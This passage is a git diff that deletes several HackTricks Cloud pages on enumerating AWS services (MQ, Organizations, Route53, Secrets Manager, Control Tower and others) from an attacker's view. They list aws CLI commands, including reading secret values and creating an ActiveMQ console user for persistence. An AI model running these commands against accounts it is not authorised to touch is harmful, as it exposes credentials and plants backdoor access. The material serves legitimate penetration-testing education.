-### Metadata
-
-**Metadata endpoint is accessible from lightsail**, but the machines are running in an **AWS account managed by AWS** so you don't control **what permissions are being granted**. However, if you find a way to exploit those you would be directly exploiting AWS.
-
-### Privesc
-
-{% content-ref url="../aws-privilege-escalation/aws-lightsail-privesc.md" %}
-[aws-lightsail-privesc.md](../aws-privilege-escalation/aws-lightsail-privesc.md)
-{% endcontent-ref %}
-
-### Post Exploitation
-
-{% content-ref url="../aws-post-exploitation/aws-lightsail-post-exploitation.md" %}
-[aws-lightsail-post-exploitation.md](../aws-post-exploitation/aws-lightsail-post-exploitation.md)
-{% endcontent-ref %}
-
-### Persistence
-
-{% content-ref url="../aws-persistence/aws-lightsail-persistence.md" %}
-[aws-lightsail-persistence.md](../aws-persistence/aws-lightsail-persistence.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md b/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md
deleted file mode 100644
index 30e76cde6..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md
+++ /dev/null
@@ -1,103 +0,0 @@
-# AWS - MQ Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Amazon MQ
-
-### Introduction to Message Brokers
-
-**Message brokers** serve as intermediaries, facilitating communication between different software systems, which may be built on varied platforms and programmed in different languages. **Amazon MQ** simplifies the deployment, operation, and maintenance of message brokers on AWS. It provides managed services for **Apache ActiveMQ** and **RabbitMQ**, ensuring seamless provisioning and automatic software version updates.
-
-### AWS - RabbitMQ
-
-RabbitMQ is a prominent **message-queueing software**, also known as a _message broker_ or _queue manager_. It's fundamentally a system where queues are configured. Applications interface with these queues to **send and receive messages**. Messages in this context can carry a variety of information, ranging from commands to initiate processes on other applications (potentially on different servers) to simple text messages. The messages are held by the queue-manager software until they are retrieved and processed by a receiving application. AWS provides an easy-to-use solution for hosting and managing RabbitMQ servers.
-
-### AWS - ActiveMQ
-
-Apache ActiveMQ® is a leading open-source, Java-based **message broker** known for its versatility. It supports multiple industry-standard protocols, offering extensive client compatibility across a wide array of languages and platforms. Users can:
-
-* Connect with clients written in JavaScript, C, C++, Python, .Net, and more.
-* Leverage the **AMQP** protocol to integrate applications from different platforms.
-* Use **STOMP** over websockets for web application message exchanges.
-* Manage IoT devices with **MQTT**.
-* Maintain existing **JMS** infrastructure and extend its capabilities.
-
-ActiveMQ's robustness and flexibility make it suitable for a multitude of messaging requirements.
-
-## Enumeration
-
-```bash
-# List brokers
-aws mq list-brokers
-
-# Get broker info
-aws mq describe-broker --broker-id <broker-id>
-## Find endpoints in .BrokerInstances
-## Find if public accessible in .PubliclyAccessible
-
-# List usernames (only for ActiveMQ)
-aws mq list-users --broker-id <broker-id>
-
-# Get user info (PASSWORD NOT INCLUDED)
-aws mq describe-user --broker-id <broker-id> --username <username>
-
-# Lits configurations (only for ActiveMQ)
-aws mq list-configurations
-## Here you can find if simple or LDAP authentication is used
-
-# Creacte Active MQ user
-aws mq create-user --broker-id <value> --password <value> --username <value> --console-access
-```
-
-{% hint style="warning" %}
-TODO: Indicate how to enumerate RabbitMQ and ActiveMQ internally and how to listen in all queues and send data (send PR if you know how to do this)
-{% endhint %}
-
-## Privesc
-
-{% content-ref url="../aws-privilege-escalation/aws-mq-privesc.md" %}
-[aws-mq-privesc.md](../aws-privilege-escalation/aws-mq-privesc.md)
-{% endcontent-ref %}
-
-## Unauthenticated Access
-
-{% content-ref url="../aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md" %}
-[aws-mq-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md)
-{% endcontent-ref %}
-
-## Persistence
-
-If you know the credentials to access the RabbitMQ web console, you can create a new user qith admin privileges.
-
-## References
-
-* [https://www.cloudamqp.com/blog/part1-rabbitmq-for-beginners-what-is-rabbitmq.html](https://www.cloudamqp.com/blog/part1-rabbitmq-for-beginners-what-is-rabbitmq.html)
-* [https://activemq.apache.org/](https://activemq.apache.org/)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md b/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md
deleted file mode 100644
index 06598159d..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md
+++ /dev/null
@@ -1,73 +0,0 @@
-# AWS - Organizations Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Baisc Information
-
-AWS Organizations facilitates the creation of new AWS accounts without incurring additional costs. Resources can be allocated effortlessly, accounts can be efficiently grouped, and governance policies can be applied to individual accounts or groups, enhancing management and control within the organization.
-
-Key Points:
-
-* **New Account Creation**: AWS Organizations allows the creation of new AWS accounts without extra charges.
-* **Resource Allocation**: It simplifies the process of allocating resources across the accounts.
-* **Account Grouping**: Accounts can be grouped together, making management more streamlined.
-* **Governance Policies**: Policies can be applied to accounts or groups of accounts, ensuring compliance and governance across the organization.
-
-You can find more information in:
-
-{% content-ref url="../aws-basic-information/" %}
-[aws-basic-information](../aws-basic-information/)
-{% endcontent-ref %}
-
-```bash
-# Get Org
-aws organizations describe-organization
-aws organizations list-roots
-
-# Get OUs, from root and from other OUs
-aws organizations list-organizational-units-for-parent --parent-id r-lalala
-aws organizations list-organizational-units-for-parent --parent-id ou-n8s9-8nzv3a5y
-
-# Get accounts
-## List all the accounts without caring about the parent
-aws organizations list-accounts
-## Accounts from a parent
-aws organizations list-accounts-for-parent --parent-id r-lalala
-aws organizations list-accounts-for-parent --parent-id ou-n8s9-8nzv3a5y
-
-# Get basic account info
-## You need the permission iam:GetAccountSummary
-aws iam get-account-summary
-```
-
-## References
-
-* https://aws.amazon.com/organizations/
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md b/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md
deleted file mode 100644
index 13db530f0..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md
+++ /dev/null
@@ -1,50 +0,0 @@
-# AWS - Other Services Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Directconnect
-
-Allows to **connect a corporate private network with AWS** (so you could compromise an EC2 instance and access the corporate network).
-
-```
-aws directconnect describe-connections
-aws directconnect describe-interconnects
-aws directconnect describe-virtual-gateways
-aws directconnect describe-virtual-interfaces
-```
-
-## Support
-
-In AWS you can access current and previous support cases via the API
-
-```
-aws support describe-cases --include-resolved-cases
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md b/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md
deleted file mode 100644
index 96cc1cdee..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md
+++ /dev/null
@@ -1,57 +0,0 @@
-# AWS - Route53 Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Route 53
-
-Amazon Route 53 is a cloud **Domain Name System (DNS)** web service.\
-You can create https, http and tcp **health checks for web pages** via Route53.
-
-### IP-based routing <a href="#routing-policy-ipbased" id="routing-policy-ipbased"></a>
-
-This is useful to tune your DNS routing to make the best DNS routing decisions for your end users.\
-IP-based routing offers you the additional ability to **optimize routing based on specific knowledge of your customer base**.
-
-### Enumeration
-
-```bash
-aws route53 list-hosted-zones # Get domains
-aws route53 get-hosted-zone --id <hosted_zone_id>
-aws route53 list-resource-record-sets --hosted-zone-id <hosted_zone_id> # Get all records
-aws route53 list-health-checks
-aws route53 list-traffic-policies
-```
-
-### Privesc
-
-{% content-ref url="../aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md" %}
-[route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md](../aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md b/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md
deleted file mode 100644
index 95d71ffd1..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md
+++ /dev/null
@@ -1,76 +0,0 @@
-# AWS - Secrets Manager Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## AWS Secrets Manager
-
-AWS Secrets Manager is designed to **eliminate the use of hard-coded secrets in applications by replacing them with an API call**. This service serves as a **centralized repository for all your secrets**, ensuring they are managed uniformly across all applications.
-
-The manager simplifies the **process of rotating secrets**, significantly improving the security posture of sensitive data like database credentials. Additionally, secrets like API keys can be automatically rotated with the integration of lambda functions.
-
-The access to secrets is tightly controlled through detailed IAM identity-based policies and resource-based policies.
-
-For granting access to secrets to a user from a different AWS account, it's necessary to:
-
-1. Authorize the user to access the secret.
-2. Grant permission to the user to decrypt the secret using KMS.
-3. Modify the Key policy to allow the external user to utilize it.
-
-**AWS Secrets Manager integrates with AWS KMS to encrypt your secrets within AWS Secrets Manager.**
-
-### **Enumeration**
-
-```bash
-aws secretsmanager list-secrets #Get metadata of all secrets
-aws secretsmanager list-secret-version-ids --secret-id <secret_name> # Get versions
-aws secretsmanager describe-secret --secret-id <secret_name> # Get metadata
-aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
-aws secretsmanager get-secret-value --secret-id <secret_name> --version-id <version-id> # Get value of a different version
-aws secretsmanager get-resource-policy --secret-id --secret-id <secret_name>
-```
-
-### Privesc
-
-{% content-ref url="../aws-privilege-escalation/aws-secrets-manager-privesc.md" %}
-[aws-secrets-manager-privesc.md](../aws-privilege-escalation/aws-secrets-manager-privesc.md)
-{% endcontent-ref %}
-
-### Post Exploitation
-
-{% content-ref url="../aws-post-exploitation/aws-secrets-manager-post-exploitation.md" %}
-[aws-secrets-manager-post-exploitation.md](../aws-post-exploitation/aws-secrets-manager-post-exploitation.md)
-{% endcontent-ref %}
-
-### Persistence
-
-{% content-ref url="../aws-persistence/aws-secrets-manager-persistence.md" %}
-[aws-secrets-manager-persistence.md](../aws-persistence/aws-secrets-manager-persistence.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md b/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
deleted file mode 100644
index 203439dda..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
+++ /dev/null
@@ -1,72 +0,0 @@
-# AWS - Control Tower Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Control Tower
-
-{% hint style="info" %}
-In summary, Control Tower is a service that allows to define policies for all your accounts inside your org. So instead of managing each of the you can set policies from COntrol Tower that will be applied on them.
-{% endhint %}
-
-AWS Control Tower is a **service provided by Amazon Web Services (AWS)** that enables organizations to set up and govern a secure, compliant, multi-account environment in AWS.
-
-AWS Control Tower provides a **pre-defined set of best-practice blueprints** that can be customized to meet specific **organizational requirements**. These blueprints include pre-configured AWS services and features, such as AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail, and AWS Service Catalog.
-
-With AWS Control Tower, administrators can quickly set up a **multi-account environment that meets organizational requirements**, such as **security** and compliance. The service provides a central dashboard to view and manage accounts and resources, and it also automates the provisioning of accounts, services, and policies.
-
-In addition, AWS Control Tower provides guardrails, which are a set of pre-configured policies that ensure the environment remains compliant with organizational requirements. These policies can be customized to meet specific needs.
-
-Overall, AWS Control Tower simplifies the process of setting up and managing a secure, compliant, multi-account environment in AWS, making it easier for organizations to focus on their core business objectives.
-
-### Enumeration
-
-For enumerating controltower controls, you first need to **have enumerated the org**:
-
-{% content-ref url="../aws-organizations-enum.md" %}
-[aws-organizations-enum.md](../aws-organizations-enum.md)
-{% endcontent-ref %}
-
-{% code overflow="wrap" %}
-```bash
-# Get controls applied in an account
-aws controltower list-enabled-controls --target-identifier arn:aws:organizations::<acc_id>:ou/<ou-id>
-```
-{% endcode %}
-
-{% hint style="warning" %}
-Control Tower can also use **Account factory** to execute **CloudFormation templates** in **accounts and run services** (privesc, post-exploitation...) in those accounts
-{% endhint %}
-
-### Post Exploitation & Persistence
-
-{% content-ref url="../../aws-post-exploitation/aws-control-tower-post-exploitation.md" %}
-[aws-control-tower-post-exploitation.md](../../aws-post-exploitation/aws-control-tower-post-exploitation.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md b/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md
deleted file mode 100644
index 588e24ab1..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md
+++ /dev/null
@@ -1,41 +0,0 @@
-# AWS - Cost Explorer Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Cost Explorer and Anomaly detection
-
-This allows you to check **how are you expending money in AWS services** and help you **detecting anomalies**.\
-Moreover, you can configure an anomaly detection so AWS will warn you when some a**nomaly in costs is found**.
-
-### Budgets
-
-Budgets help to **manage costs and usage**. You can get **alerted when a threshold is reached**.\
-Also, they can be used for non cost related monitoring like the usage of a service (how many GB are used in a particular S3 bucket?).
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
